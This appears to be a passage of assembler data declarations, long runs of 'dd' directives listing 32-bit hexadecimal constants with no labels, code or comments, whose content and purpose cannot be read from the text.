		dd 9FE8FDh, 0B7C0A5C4h,	0CFEF41D6h, 84008D70h, 39EC13F8h
		dd 1D93189h, 10681B1Ch,	0E4CC6449h, 9A01449Dh, 0EBCF5842h
		dd 4F89F09h, 1F070079h,	0AADBF7BEh, 1200680Fh, 35F96024h
		dd 7A7E6DB9h, 3E7300A0h, 0F1E9AC33h, 0DE0040D6h, 0F9060978h
		dd 0A6D25Eh, 0A3DFF0C4h, 12C05566h, 581EE800h, 0BB2CA7E5h
		dd 0DC7474h, 3CB98EAAh,	0CBE13423h, 0E9811C00h,	0CED15365h
		dd 6E291E12h, 25E83F9h,	0E8B8C7AFh, 8B00E646h, 0D94CBA31h
		dd 233A6Fh, 684D0CFEh, 55481882h, 0BFA60400h, 76631D74h
		dd 7F5800B9h, 406BBAE9h, 0A8A0E71Ah, 0AA1236FEh, 0EB220Eh
		dd 46433F9Dh, 0BD00D59Ch, 7D049767h, 8B661Eh, 0FC37694Fh
		dd 0EF36941Fh, 14ED6A00h, 139D3001h, 0D36C0EB4h, 0D2A2A551h
		dd 0F360C992h, 1024C8E2h, 5903B2F3h, 0B0234FFDh, 3B257D0Eh
		dd 6ABEFF47h, 28993080h, 0D7FA4072h, 48878E00h,	0E5FE0AA3h
		dd 5DD91DA8h, 14DDC3ACh, 0CBCBFB7Ah, 0E4B59FC1h, 0BF0097D6h
		dd 1F2E8EEAh, 0E0B0CA34h, 7DED006Ch, 0BE71C3E8h, 6300D6D5h
		dd 5FD229C0h, 0F76CE2BDh, 36832D8h, 2B548133h, 1000CF12h
		dd 3A345E17h, 0FA4FA7Bh, 0B17AA721h, 455D23C0h,	0C97DD6C4h
		dd 0A88F9200h, 0F6558A1Ch, 41FCE5h, 4A246807h, 8C33094Fh
		dd 0B400307Dh, 846F15B2h, 64C78Bh, 4F6904E2h, 9EBE7A47h
		dd 59D9EE02h, 0E0E674A6h, 94027Ch, 0EC041D33h, 0E7D6BCB1h
		dd 0B466300h, 65E42941h, 5CB0A8h, 1CD099B5h, 49E61035h
		dd 12536200h, 9EF56BD8h, 0A5D716C7h, 3A73000Ah,	63325466h
		dd 0D07ACC00h, 0E79A2688h, 8D5B260Ch, 99AE00E8h, 7522935h
		dd 45C72A00h, 119ECF7Eh, 6D0900D8h, 18EE65D6h, 220E8054h
		dd 0AE5E8C25h, 0BFAE0A3h, 603BC0h, 55730487h, 4465AE98h
		dd 0D273057Bh, 0C4E13A00h, 381E6DE6h, 0D87100B2h, 6977B3E3h
		dd 0F800F782h, 0A1A4595Dh, 469E10h, 0ED248CC0h,	0B029A2ECh
		dd 0BEB8BC5Eh, 0A6A80B1Ch, 4ADA00F6h, 7CACAF30h, 2F6E2100h
		dd 73792B23h, 638E01E1h, 0F2674716h, 0E81A849Ch, 0FDC0E2EEh
		dd 0E05EBDh, 0E43F2734h, 296C3233h, 0F5F13Eh, 88A17ADBh
		dd 5C3ED5h, 74B59926h, 0EDDFFD63h, 0F464CA00h, 0E9584637h
		dd 97E8C0h, 72AC32C4h, 5ACBB6EFh, 8056A73Bh, 0C7A2E5E2h
		dd 0D40227h, 0CE8F91Ah,	5D79B9D7h, 193DAF00h, 46FCFA6Bh
		dd 11A900DCh, 2140174Eh, 0D100D0BFh, 6F2B099Fh,	3C15Ch
		dd 0BEF49295h, 0B9E95DA6h, 1F2A3603h, 0D398D5C9h, 3C98AE04h
		dd 3B00FC0Bh, 0CEE5A87Bh, 18C0C7B9h, 0BEFAB041h, 0C0E60028h
		dd 0A5CFF8BDh, 0E00925Fh, 0C464904h, 60CEA031h,	8BBE30A3h
		dd 31CD75Bh, 7C408072h,	4F365D99h, 40660341h, 143A28A8h
		dd 5C649005h, 4044F3EEh, 758079E7h, 0A46A841h, 723EDC84h
		dd 0E2C30660h, 0CD00B14Ah, 0D25AA70Dh, 0A0898FDh, 0DFE5AB41h
		dd 89030A10h, 0A811001Ch, 0EA7C8560h, 4265FC00h, 0BBD9F086h
		dd 0F9C90044h, 0B8FF359Bh, 0A0008CDDh, 8A46A12Ah, 3EC61Dh
		dd 6B87E3A9h, 0AB82B94h, 59A52400h, 9A7E3049h, 394100FBh
		dd 0FA03D2E0h, 9300A3C4h, 6A662650h, 1C8E170Ch,	8BB820h
		dd 9FE6F4A4h, 91001860h, 0BED1FDB6h, 2F2D05h, 0B13313BBh
		dd 0DCACFAEFh, 5600B272h, 0BD1AF76Bh, 48F93953h, 0DD3C838Bh
		dd 3EF49C50h, 20EFCCB6h, 0AB185B01h, 63319F52h,	19805ADCh
		dd 0CAD5AFB1h, 7EFD00BEh, 0A5F959B4h, 3B0B4003h, 7F7520C2h
		dd 862F8880h, 30C002EBh, 0FDBFBBB5h, 781479Eh, 449AF465h
		dd 0CE95C178h, 5E2C585Dh, 1F7AC447h, 59FE4550h,	5CB5094Bh
		dd 0E623DA30h, 10550564h, 1BAD8329h, 647D0829h,	8AC18641h
		dd 37033518h, 0D3D2C4Ch, 0CA081501h, 0EA88385Dh, 0AECD1550h
		dd 20FE4368h, 38F530DBh, 3D425D60h, 823D1EEEh, 0C09CD349h
		dd 0A941EE2Ah, 4210785h, 600B6F4Fh, 6E73E34Bh, 7B187700h
		dd 19D27EDCh, 5930A03h,	40185617h, 0E34A5E6Bh, 7B12F311h
		dd 8222BE8Fh, 4B30A291h, 60B0878Dh, 8C581535h, 3F2EAB3Ch
		dd 493F1DF2h, 54E4D301h, 50597218h, 2BB27084h, 0D58B6157h
		dd 30B3409Dh, 923D5378h, 14D21D15h, 1BBDC440h, 32FEB71h
		dd 0F1B690D3h, 0A72D1D13h, 477800F0h, 45E0322Ch, 8484BE9h
		dd 0C2BF3A52h, 80B68BCBh, 5601E511h, 0DB4F0700h, 5D478A1Ah
		dd 46742271h, 78AE623Dh, 180BA237h, 7080986h, 4F521EE2h
		dd 5C4CD302h, 0D34D6599h, 986F3BC0h, 0D92238h, 7A4AB84h
		dd 0FA86483Eh, 1F1A011Eh, 0CF10F1B1h, 1B156054h, 2015DF6h
		dd 825E4E8Eh, 0C2E05F96h, 4F5306B6h, 186E0742h,	98E3F81Fh
		dd 2C1F360Ah, 71B8CB40h, 181E4647h, 2387E5Ah, 42B0C3E3h
		dd 0B83A48B6h, 85F78189h, 0EC1FE551h, 1CD9F320h, 40C1A10Fh
		dd 8C4B3A20h, 0AE3FEA57h, 94810776h, 0C086C5F9h, 0FAF52908h
		dd 42E6011Ch, 1839D394h, 803F79DDh, 73111586h, 70D8F659h
		dd 58EE839h, 0EB50B5BDh, 44186145h, 0C1747058h,	209711CEh
		dd 994E166Bh, 0A5D0076h, 0B7E5249Ch, 0FEE833CFh, 0BB90CC74h
		dd 0EA062486h, 0E6A4F1E4h, 993D0870h, 2D58DE24h, 0F9DA182Eh
		dd 0A31D604Ch, 0C0803952h, 13868190h, 2DEF0274h, 8DCF627Ah
		dd 4E972CE0h, 60732300h, 0E990DD49h, 451C012Fh,	427A2E03h
		dd 0A28B3EAh, 963AA18Eh, 817184Ch, 2FCE21Ah, 8F392207h
		dd 2730FA80h, 8E3A60E0h, 0FCB55AE1h, 3E205CF9h,	0BDD29B00h
		dd 27A1A9Ch, 0E02606D8h, 308A25BAh, 0C638926Fh,	8C4830B4h
		dd 2D210420h, 69B5651h,	29B0BDE2h, 811495FAh, 98A8B666h
		dd 0C28041F0h, 893A019Ch, 0A202184Bh, 0EDFC856Ah, 707FE00Eh
		dd 0C6731A2Ah, 0E86F3A08h, 6787A085h, 8A7668F9h, 70823090h
		dd 73E6FA30h, 94060BE9h, 0C14B18A8h, 340B620Ah,	0F1E57423h
		dd 0EE408E81h, 3429085h, 0C102052h, 0F6306CCBh,	5A22489Ah
		dd 1E297305h, 8A230B1Eh, 4A1851F2h, 4D0051Eh, 45BC439Eh
		dd 60AD230Ah, 0EAFD3314h, 0E2847554h, 5032F429h, 0A3B49240h
		dd 0C2F9C177h, 5C2904D8h
		dd 1008ED28h, 0F139B7h,	293FE3A2h, 3C74831Ah, 61CBA19h
		dd 18BADFB8h, 0FDA2C60Fh, 42D87A07h, 2898E6BAh,	0FE153EC9h
		dd 31B89546h, 729A38FCh, 0A3978047h, 42740219h,	99F484DBh
		dd 442C4885h, 0EB1218A7h, 78629981h, 7438F32Bh,	99C5289Eh
		dd 0C44EF2ACh, 2402726Ah, 0B9FC1197h, 0B9C08250h, 22DCA841h
		dd 0DA98C010h, 0C677A1A4h, 8449756h, 80C31C81h,	2908BB02h
		dd 18A5133Ah, 0A276BAB9h, 44E258AAh, 0C029061h,	0C0382229h
		dd 36B34FEDh, 0E8C28098h, 60FD8C21h, 50693284h,	0A22883EBh
		dd 0B3386A43h, 9A080533h, 2C2AFCD2h, 0C0A79A4h,	0C8947AC5h
		dd 0C0F6A88h, 84C8547Eh, 981408DEh, 0B67DC11Ch,	71805D05h
		dd 0FC3E5562h, 0E80723DAh, 3926FAEFh, 1BC15A81h, 0E7C3E08Ch
		dd 16487118h, 0C8553D77h, 8F935B0h, 18A6E82Ch, 0F935D7F8h
		dd 50C23B42h, 120A83Ah,	0F8EEF51Eh, 78C608F0h, 80963h
		dd 9A282548h, 0FA375C4Bh, 7C764E3Ah, 5AF0ADFCh,	17B2C3Eh
		dd 24D1229Ah, 1187BF7Ah, 83363E96h, 83A75320h, 481DF562h
		dd 0FA05F8ACh, 84045515h, 808357F7h, 7AB81353h,	9C2C1472h
		dd 0D1D00BB0h, 28F04720h, 188C2B22h, 0A83D06DAh, 0FD1FA96Bh
		dd 0C870A71Ah, 0F0379AABh, 22173E15h, 282CB103h, 0CABF0EDAh
		dd 516B58DCh, 288D5F8h,	5AB0A0A5h, 0FCC303F6h, 38736EFAh
		dd 43C440E9h, 1874FB9Ch, 0EE1D940Fh, 0FA2167DAh, 79E0A546h
		dd 0F612405Ah, 0CAD87366h, 82FC8508h, 4E2881Bh,	0ED0F6044h
		dd 0DA3AEFE6h, 0B1084060h, 3C82E837h, 0A71E3652h, 58682623h
		dd 8813DE45h, 0F05FFEF5h, 0BA31F068h, 0FFA088Bh, 9F469A01h
		dd 0EF9C5F11h, 31CAB8Bh, 23F2370h, 28322118h, 0F480B51Ah
		dd 3644D35Ah, 4A5059E8h, 660468FCh, 0B4353A38h,	0B3C50881h
		dd 0CD8D288Ch, 0C1054D50h, 0CF6D1AFCh, 0A24FCC1Eh, 0CE4405FBh
		dd 0D085A805h, 1E8685FEh, 0CD7C3D64h, 0E008FFA8h, 7AF0CD0Bh
		dd 1EC65920h, 0AFB6754h, 1BB8D36Bh, 71A328ABh, 6F9A6819h
		dd 25130D09h, 2C3AFBF8h, 44DA10C6h, 0C4849008h,	6BE7B09h
		dd 6E30D014h, 0A1866084h, 3D20C0E3h, 39D5203Ah,	0F798F555h
		dd 0CCF0B066h, 80E674C8h, 8C6F24Ch, 24284E6Ch, 14A81AE1h
		dd 6674AC29h, 40CD0934h, 9450F4FCh, 9574AA88h, 8CEBA30h
		dd 0AF2EFAh, 0A6146426h, 0A5D3E420h, 851F84E8h,	5E0E1F07h
		dd 0CB448410h, 0F25A0400h, 0FA3AA426h, 0D31F7CE5h, 790C5584h
		dd 8041486Fh, 2F789924h, 34F5C418h, 0C794028h, 78BDE454h
		dd 2500E308h, 0BFE58453h, 649C2426h, 1F64487Bh,	9F295218h
		dd 0B470C06Bh, 80042771h, 84ECE503h, 0A7F297A5h, 874F7287h
		dd 0E4C0AFD7h, 0F0F887C4h, 5C3782Ch, 0E3BAB944h, 0F2930184h
		dd 0D3A101A4h, 0ECC214E0h, 7F812400h, 8BDC4E3h,	78D5E8EBh
		dd 7AE40E8Ch, 3F80F28Bh, 9244F885h, 0E9088460h,	1EA4F1D2h
		dd 83F058D3h, 64E38FFAh, 0C40738BEh, 9DDFBD9Fh,	3AB5B4F0h
		dd 73BC0054h, 0A08990DAh, 9C1D4BCCh, 0E959C4F2h, 0A8BAFFC8h
		dd 8C06018h, 50C0D567h,	0A4EB1EAAh, 8DFE0h, 0E4532894h
		dd 0A8A02D68h, 4E82B0Ah, 20E2961Eh, 0A880FD28h,	0C4E83F5Ch
		dd 5587651Eh, 0C42C230Ah, 0E330281Bh, 64080C33h, 385051C8h
		dd 40E2A540h, 0A6507DA4h, 8633C0C8h, 3A2B8055h,	6040D158h
		dd 80086163h, 0C2803BEh, 13645588h, 32667074h, 2440D209h
		dd 9020A144h, 1B3C7CA7h, 74A40C11h, 90E66015h, 0F4C41238h
		dd 0E219AB06h, 3020EF31h, 0F2C235E4h, 842803E9h, 102471CFh
		dd 0A4062841h, 240873B8h, 0C208DE5h, 1CF88F90h,	641D747Ch
		dd 440C9688h, 48240885h, 20782058h, 0ED24727Fh,	31071CB5h
		dd 4384F888h, 0E6C5C402h, 70DEC882h, 5C9E1841h,	0C60830ECh
		dd 58D4C02h, 0CA8122Ch,	24B8F6B0h, 0F0593915h, 0D1E9C01Ch
		dd 808FBAFEh, 0D8C0028Ch, 0EB0C3BA4h, 0CFB4924h, 0F1D3030Eh
		dd 6020A08Ah, 8D484B89h, 1488FA3Fh, 47E007ECh, 0AB471734h
		dd 281118EAh, 2480084Ch, 0A748E1h, 0E8F89A28h, 2A3C90DCh
		dd 498CC404h, 0BC129CCEh, 1D6813B9h, 43241F4Eh,	2FE4EB1Fh
		dd 0C9B80877h, 80A45312h, 0C044804h, 1E99C404h,	4420BF18h
		dd 203E48F8h, 0F00C9076h, 1928DE6Fh, 300913h, 0CE4E9A24h
		dd 3B50D050h, 77C341E4h, 288C48B8h, 582C8066h, 312BE520h
		dd 6B08614Bh, 0DB2881BDh, 28245589h, 973370BAh,	4013EC09h
		dd 644C8F04h, 48A408A5h, 0E4094815h, 5C04F9C0h,	8880D2E8h
		dd 28209A26h, 79ECED04h, 0B03D66A4h, 0E415306Bh, 54ACF32Bh
		dd 2C635F54h, 192A9288h, 1843B730h, 84708C68h, 324458B8h
		dd 0B186E75h, 689E786Bh, 726612F8h, 0F0082E10h,	44A49A38h
		dd 7841A7F8h, 81D324F6h, 0E868847Ch, 7D4DA4ECh,	0E49E2888h
		dd 95BA641Eh, 900D133Fh, 0AEC92C09h, 78061290h,	3111D244h
		dd 8E40C2D0h, 5B843009h, 648408C6h, 929CF058h, 7E311E0Ch
		dd 44D93F1h, 81738490h,	0D7D5A490h, 71180810h, 0F135D802h
		dd 0A0496624h, 4983058h, 68DC0830h, 0E8E3D4A5h,	2418C34Dh
		dd 20185160h, 0D3606E66h, 3C4A985Ch, 4407DE49h,	82DF9668h
		dd 0AC81E8AAh, 0E039EB1Dh, 4EAF807h, 0C0808A49h, 0BE3BD352h
		dd 14B4908Eh, 10BCFEACh, 787E6A82h, 203BFBE3h, 1038C80Ch
		dd 4041F84h, 0CBF266FCh, 833307E8h, 1E915CCh, 39E26CACh
		dd 62F9A420h, 679030A3h, 0DB718081h, 4C4C5CECh,	63A29511h
		dd 2EEACC09h, 24701CACh, 0BD8C7354h, 64F17D0Ah,	563A8493h
		dd 92830324h, 9F3C549h,	62482C88h, 0A840CC83h, 99F4C00Ah
		dd 66E01C54h, 0C66563FAh, 38B08C81h, 8190A452h,	408F097h
		dd 0F7EC2989h, 2144B801h, 3268B82Ah, 0C93D3829h, 0D024B328h
		dd 2767094Ah, 580F6C84h, 54244C0Bh, 0C614C73Fh,	0AAF0F006h
		dd 36102C65h, 2E8C6893h, 94040619h, 0F848A8DDh,	1618C124h
		dd 24DCB88Ch, 1B3C6425h, 0E1108B6Fh, 94F1F87Bh,	23640889h
		dd 81B7ECA4h, 63E3C418h, 3365C7CCh, 18E17276h, 0C8751F4Ch
		dd 0C490143Dh, 28185A59h, 0E424A4EDh, 0A40894E5h, 58B824A1h
		dd 7F106355h, 0AC0FF18Ah, 0C4420BBAh, 0C0417443h, 0DA184C9Ch
		dd 0EA204FEAh, 0A80C26F0h, 9D542310h, 95F1842Bh, 496C0488h
		dd 48540C5h, 660CC81Dh,	2B88F078h, 813439EAh, 2D13A717h
		dd 51382485h, 0C42458B8h, 11782CAEh, 0C1EA31C6h, 417C2C31h
		dd 614FA4D4h, 0E7501C68h, 2025D93Ah, 0A070E68Ch, 7482C4E8h
		dd 448AE18h, 61DB7DCEh,	1DEC048Eh, 2800092h, 0EC8F4564h
		dd 0BC0D5603h, 0AB166B90h, 73E02D0Fh, 236D40ACh, 3B84DBDh
		dd 0FF3A9F46h, 0E3D04960h, 0E80095F8h, 0F5DE32AAh, 5FAD0Eh
		dd 68B8718Dh, 6BCF756Dh, 183EA8F4h, 438A0169h, 42FA4D6Ah
		dd 7E70890h, 69A28C6Dh,	0E0405743h, 7C3D90EDh, 3CCC3ABCh
		dd 2A59AD0Ch, 5E3CF110h, 60381DA2h, 7CEED08h, 0C05C802Dh
		dd 0BC42C98Dh, 3EA44D1Dh, 89EED0Dh, 7C1C27F0h, 149C03ABh
		dd 17FFADB6h, 780ACDA0h, 7663A378h, 30672D40h, 0CD08B149h
		dd 0BD74DF4Eh, 1089903Ah, 4D08A56Dh, 0E51188E9h, 0C5B0D737h
		dd 2D98007Ch, 0DAB57CBh, 0ED30E467h, 32CD086Ch,	0D710871Ch
		dd 5B8D0140h, 0AD19547Eh, 64B00ECEh, 4B31F9BFh,	8F623090h
		dd 1F61A088h, 0AC72E007h, 1D092283h, 0C08A638h,	2D101FEDh
		dd 0A3A5A806h, 3C09876Dh, 4D0AA4D3h, 0F8441E2h,	2D83B30Ch
		dd 50305FCEh, 31AD28B0h
		dd 5208C694h, 0D73E20B2h, 0BE8D0C76h, 48E6D827h, 0BD140C26h
		dd 1D14A419h, 0AE14CC25h, 0C41DA431h, 5EED0C2Eh, 73330D10h
		dd 0C098093h, 9082CD58h, 2F502110h, 0C4A0ABC0h,	32780E4Dh
		dd 9266F4F8h, 0F902578h, 0BD08D50Dh, 0E018F206h, 8C78846Eh
		dd 280D10F0h, 519810A2h, 0B7E19C1Dh, 54264C27h,	0AE0C090Bh
		dd 1ED54C02h, 90AD4040h, 910414A6h, 0AB27C17Fh,	46BFB500h
		dd 39858D68h, 2EAE2C84h, 659504B9h, 14706C84h, 203338E0h
		dd 7520B6BCh, 610D0051h, 0E5F70318h, 200C9EBh, 1D23F514h
		dd 90B53D38h, 88C70014h, 590F02Fh, 0BA0089D7h, 14EF1703h
		dd 0EE2B77C6h, 31F71FD8h, 0DD38FAB1h, 4F370F1Fh, 0C0830ED2h
		dd 75EB102Ah, 0E01F087Bh, 0DCD40F99h, 823CCF38h, 1DFB9C1h
		dd 0FCB4CC0Fh, 0B7744637h, 0FA0D170Fh, 274E00C5h, 780697CDh
		dd 20F700BDh, 4557D880h, 3729D79Fh, 0A0812CDDh,	0DA1E925Ah
		dd 3DB6F01h, 0B3ABF7h, 0CD48F160h, 0D0C47D57h, 0A507EAF8h
		dd 0CBF6D7D6h, 63BDF4Ah, 0F2477C9h, 0DC03A68h, 2D026057h
		dd 0E3EA7E3Eh, 2D74F02h, 1498B1B7h, 9E22AEBBh, 1EAF00FBh
		dd 0ED703C4h, 0F730D6D1h, 0B817E822h, 0DE718047h, 0A070CC6Ch
		dd 0A0D301B7h, 343317D6h, 6DC4B10h, 60117904h, 3D8F1EF1h
		dd 0B3F786D1h, 800648F2h, 99D7D801h, 0B7BB4009h, 0AB98EB3Dh
		dd 7B072897h, 0CD441124h, 0D6DBEF00h, 0DE68B704h, 0C420C0A0h
		dd 0FA041C8Eh, 0E169604Ch, 6E0CF04h, 3308DC37h,	74714217h
		dd 58A84A97h, 7232ACA3h, 942F415Dh, 0CCD008ECh,	0F8FCDE6h
		dd 81601B06h, 0BC4BC5BFh, 36418C02h, 6F00CC74h,	1401A029h
		dd 0B8BEF7B7h, 87E4046h, 0E29FC772h, 0D00C4F0Ah, 3A1B3708h
		dd 0D729C620h, 0D5811CDEh, 0DFC4219Ah, 726FAF00h, 4E15E0C2h
		dd 815045CDh, 0FA2DAD71h, 988F00CEh, 0B7CD121Ah, 0F04C10B9h
		dd 500430B0h, 0EFC97761h, 0F0BDBC35h, 120CD6A4h, 0B904C1Bh
		dd 6CAC5708h, 26CC680Ch, 68CF416Ch, 0E064A082h,	0B28803E5h
		dd 963C0A4h, 865B7F8h, 0C68BC161h, 6BCC7959h, 0C81528EAh
		dd 0BE4B29CCh, 4DEDC0C8h, 1620B95Ch, 0F17515C8h, 0BCC314CCh
		dd 51D60459h, 72B84F12h, 1831F438h, 0D97E0924h,	366DCAFh
		dd 4809FAA0h, 60789C53h, 7EA8409Bh, 0B300EC54h,	0CE465DACh
		dd 75BB99h, 0AB30658Ah,	0E86C7240h, 895C80Eh, 18748AF9h
		dd 75C90169h, 3080AE8Bh, 0F93219A0h, 14A64A68h,	25E15C04h
		dd 800060EBh, 0E8EFB1E6h, 0D7278839h, 6B030418h, 0E045B56Fh
		dd 1A103275h, 8C8EC2E1h, 503EC079h, 8016388h, 82F75B08h
		dd 85232F48h, 0EB201844h, 0E72C0858h, 0B0E8EC0Fh, 31A883B7h
		dd 0D780BF7Ch, 7068FA6Ah, 904BE98Eh, 6BBD0402h,	20037FC2h
		dd 4858187Dh, 0D280899h, 0E4104766h, 36080E60h,	418CE826h
		dd 2A06A808h, 5888FA1Eh, 61B2F870h, 9395681Fh, 2B04B32h
		dd 758017DDh, 0B11D0E7Ah, 0D28F1669h, 871D9C96h, 61D031FFh
		dd 8C256015h, 42447B10h, 0E69681A4h, 0B451BCE1h, 0D1A36140h
		dd 0F523037Ch, 293CB778h, 4AB454A0h, 2CE888CAh,	0DA4304C0h
		dd 68808896h, 70FA132Bh, 1FF0A081h, 0E0026733h,	2814CBE2h
		dd 0B7E5C214h, 5CC01014h, 0A5066847h, 292E71DEh, 5C0D2024h
		dd 1A60E421h, 41C9B00Ah, 880CC166h, 0E07788A0h,	0A36009F9h
		dd 4159C9DDh, 20A2878h,	1511015Fh, 0AE40017Ch, 8098230Eh
		dd 7F6A8E3Fh, 79DA40D7h, 0CE6428D1h, 64258682h,	0B0800A29h
		dd 0E53CF933h, 96D7C1D5h, 0E028842Fh, 60804256h, 3313B20h
		dd 25EF4088h, 8075808h,	320287A8h, 925EB3C7h, 0C96202Ch
		dd 2C652BE5h, 9024C050h, 2C70846Bh, 1B12306Fh, 257B20A1h
		dd 7A78E857h, 97FE2908h, 0A33438D0h, 70F02C28h,	0A7114018h
		dd 826B6029h, 9D715038h, 298E2830h, 0A5278140h,	0C093013Ch
		dd 24A9E762h, 28CE9758h, 0C44CF248h, 3E68083Ah,	0FC527DCEh
		dd 0E63587C0h, 8080A299h, 259101DAh, 0AFA501C8h, 0BB1858A4h
		dd 7CC7A008h, 0EEE00CA3h, 0C1124858h, 2C38EC3Ch, 0C618789Eh
		dd 30BCC061h, 3783B485h, 0ACA0757h, 668A20C9h, 0E2770A0h
		dd 2982F337h, 47E8CF02h, 0A5C101B8h, 5AE67F2h, 0FA174D81h
		dd 0DDC1F822h, 885A4272h, 29204029h, 0F1456140h, 92ABCCDBh
		dd 490A79FEh, 4368196h,	11605A0Dh, 1342E8h, 0B493F5D0h
		dd 9FDF25DBh, 94009171h, 68B86FC0h, 0F82DD692h,	4157600Ch
		dd 0F0AFD8A2h, 4B3FFB0Eh, 283720EAh, 8B5AD7h, 6DDCFD7Eh
		dd 9553DF54h, 0B86030C7h, 17202496h, 0CE320B4h,	0F8917291h
		dd 1727A200h, 0C9FC4DA5h, 38410055h, 0C1D3D28Fh, 473A530Ah
		dd 2D3DCCh, 0C5A862E8h,	1836C927h, 0C8C61031h, 3E00E2A3h
		dd 0B6DA6698h, 28A16F6h, 0AC883A1Eh, 8090E46Bh,	0BC003F15h
		dd 177ED255h, 1D3C0E4Bh, 0A82631C5h, 8187778Ch,	0DC20E409h
		dd 0D33EBE03h, 0E8EB1737h, 0DABCA8h, 5DD8D256h,	10E26199h
		dd 0F1D0E3EBh, 21DFBDEh, 71F0170Fh, 0EEBCEC9h, 0E0735F8Eh
		dd 1F0E50A7h, 9321552Ch, 0DCBC1A0Eh, 6372C0DAh,	287F8FEEh
		dd 14451E7h, 9F37B63Fh,	0F0839EFDh, 5601A415h, 6B7E94DEh
		dd 29B9A8D5h, 3AA7A380h, 63ED818Ch, 0CCF74400h,	41F8DD80h
		dd 7B0E00FAh, 1E066BD1h, 8D38F45Eh, 552500EBh, 16AFBC6Fh
		dd 0FC39002Fh, 2BDB238Ah, 0BF010D46h, 0A0CB379Fh, 6FC08F8Ch
		dd 4F1F3E0Ah, 0EFEB2983h, 182B833Ah, 3FC04FCh, 29F24E0Bh
		dd 0FDB05E73h, 80FC70Ah, 0C7793F18h, 2F6386Fh, 78170330h
		dd 0F18F8E69h, 0DEAB10C3h, 451611E0h, 0B13418D1h, 4C4A8E0Ah
		dd 763A36C3h, 0A1605000h, 0A213FE92h, 0FA950112h, 1F03F741h
		dd 735CF096h, 18115931h, 8208F101h, 5D181550h, 867AF242h
		dd 0F70C3554h, 39217242h, 455EB588h, 27304A0Dh,	48719524h
		dd 2118BD2Ah, 0C215F0E5h, 30612A0Ch, 155D1E21h,	631018A9h
		dd 247D8A2Dh, 4852B4F9h, 52811951h, 0CA2456Ch, 891175CEh
		dd 719D6C51h, 30A81508h, 5484744Eh, 0A92F4899h,	0F017ED60h
		dd 0A40F779Ch, 5192C0A9h, 8D4AF0Ch, 4F5A8896h, 0CCFD4309h
		dd 5910101Bh, 0CED60051h, 0DE0C4DBDh, 7403851Fh, 44653AB6h
		dd 3848B061h, 1B43B4Ah,	2F5B2581h, 0E2A2AC10h, 204F2448h
		dd 7661FBB8h, 0CC78CA0h, 0C9B1E982h, 0F201697Dh, 8EF4F62Fh
		dd 5D830035h, 0D044AD09h, 50A19784h, 2AC8D871h,	0E61C8822h
		dd 89B66082h, 2B39B9FFh, 9B0C4B00h, 6581C717h, 0D0DF41D0h
		dd 852824Dh, 5F8CB01Ch,	58C60A62h, 758FF86h, 0E059E846h
		dd 0D9E1ED51h, 500FA137h, 0DE017590h, 6582FCAAh, 0A9599Ah
		dd 31230CA4h, 0A8001583h, 7E03C84Fh, 528DB0ACh,	933CC897h
		dd 0A1895066h, 76CAC601h, 85274E78h, 0D811451h,	8E6C6888h
		dd 898A6660h, 96DD00C0h, 8B5BE010h, 2828A848h, 8103C02Fh
		dd 0ED05C2D7h, 0E67990FCh, 881E004Eh, 176FFA11h, 0E010F7Eh
		dd 97B0C1E3h, 0B88AB12Eh, 29CDB90h, 100DA5F0h, 0DDC77A00h
		dd 2DC6C04Dh, 3667C49Eh, 6837CD30h, 0E216E0AAh,	0D90A2C77h
		dd 183218ADh, 68A0FA66h, 80C47B35h, 9E388B29h, 2602F005h
		dd 0C80029B1h, 3AE72EE8h, 1114002Fh, 9F69F1EFh,	620AA0B5h
		dd 0C01571F2h, 29109699h, 14A99Eh, 0B2FCE020h, 84A81CC0h
		dd 0BF0E92B0h, 9F91B1E1h, 5A197818h, 0FF32C88h,	546506EAh
		dd 371BF8EEh, 10213AECh, 28D00818h, 481DB47Fh, 7D0E8D10h
		dd 9131188Ch, 8458EFA5h
		dd 98BC049Fh, 93631DB5h, 0D3C0BD3Ch, 0C70C34A5h, 196D0938h
		dd 0B64B06B3h, 51746BCCh, 0DD7C8C48h, 0A13F8209h, 7DD01714h
		dd 389EA0EBh, 5C542021h, 54D9D73Ah, 2D488C80h, 7DAA06D6h
		dd 52A105D0h, 0ED188441h, 3CC4017h, 0B59AA700h,	0DF27326h
		dd 258C0094h, 0B1ECDACh, 0C01BB0ABh, 0B090FB28h, 2848B7E3h
		dd 1809E61h, 7FDB4FF1h,	2413C2F2h, 35009710h, 0A88AF837h
		dd 1F16E9DDh, 0C6738936h, 29F9D88Ch, 26095ECh, 0C78648A0h
		dd 9108996Bh, 778D0082h, 0C072E4D5h, 15749043h,	0EC1FD750h
		dd 40E20B12h, 9EBA7FECh, 3C634C7Dh, 1231C1E9h, 10B246B1h
		dd 8EA030E0h, 16852C77h, 4A7C42B2h, 6068F4F8h, 0BD492325h
		dd 999B3E48h, 963041CEh, 906806C8h, 0D7D7448h, 3F658E8Bh
		dd 979C20A0h, 81372F3Bh, 950FD87Eh, 0DC26F7DDh,	28808C3Ah
		dd 0BF2F4C79h, 0A21C494Dh, 359069F2h, 7DE71470h, 0F66D282Ch
		dd 2F58207Ch, 2AED2203h, 0C85F95ACh, 0D9237Bh, 2884CC20h
		dd 0DA181F9Dh, 4D00FE77h, 0AD3EB434h, 0AA0EEh, 0A5998588h
		dd 1D2C9801h, 427DA00h,	958A979Ah, 30A21D6Eh, 479D8E4Dh
		dd 0D5691D00h, 27001085h, 0B0C76CA6h, 986F95A8h, 44FB3091h
		dd 33581978h, 2B2A5175h, 2A004887h, 0B439ECC3h,	0ED955Ah
		dd 99C11AA0h, 5482E691h, 5FE2E102h, 616FA2D4h, 60D4CDEDh
		dd 2BCB008Bh, 62C54765h, 40308FB4h, 0B96FA1FDh,	0E6BB1819h
		dd 2B1C9867h, 2E208B0Fh, 0C8384CD3h, 8CAC18BDh,	2257A880h
		dd 28B1B762h, 1E6020FEh, 0E9D83C5Ah, 306D10B8h,	0ED104790h
		dd 0F9C0B9A9h, 0C2049687h, 0D24F1828h, 1F79A897h, 0AF21B260h
		dd 285B605Ah, 3B842274h, 8685F4A3h, 4ED55D6h, 58B1C718h
		dd 835C3668h, 2042F3C8h, 28A0F836h, 62BD4478h, 61666000h
		dd 0FDA7FF5h, 780A8E7h,	117B032h, 0A52338E9h, 81DD4EE2h
		dd 3484C241h, 841C751h,	0EEE1352Ch, 60EC33FAh, 32BC35Eh
		dd 205B8C68h, 9027934h,	0FC7C3941h, 37BCA09Dh, 789F12h
		dd 1EEF5694h, 4BCFC334h, 73BC1700h, 8D290E2Bh, 0C04A0295h
		dd 0A888A367h, 84CDC08h, 5C1B067Ch, 199FB92Ah, 14004D58h
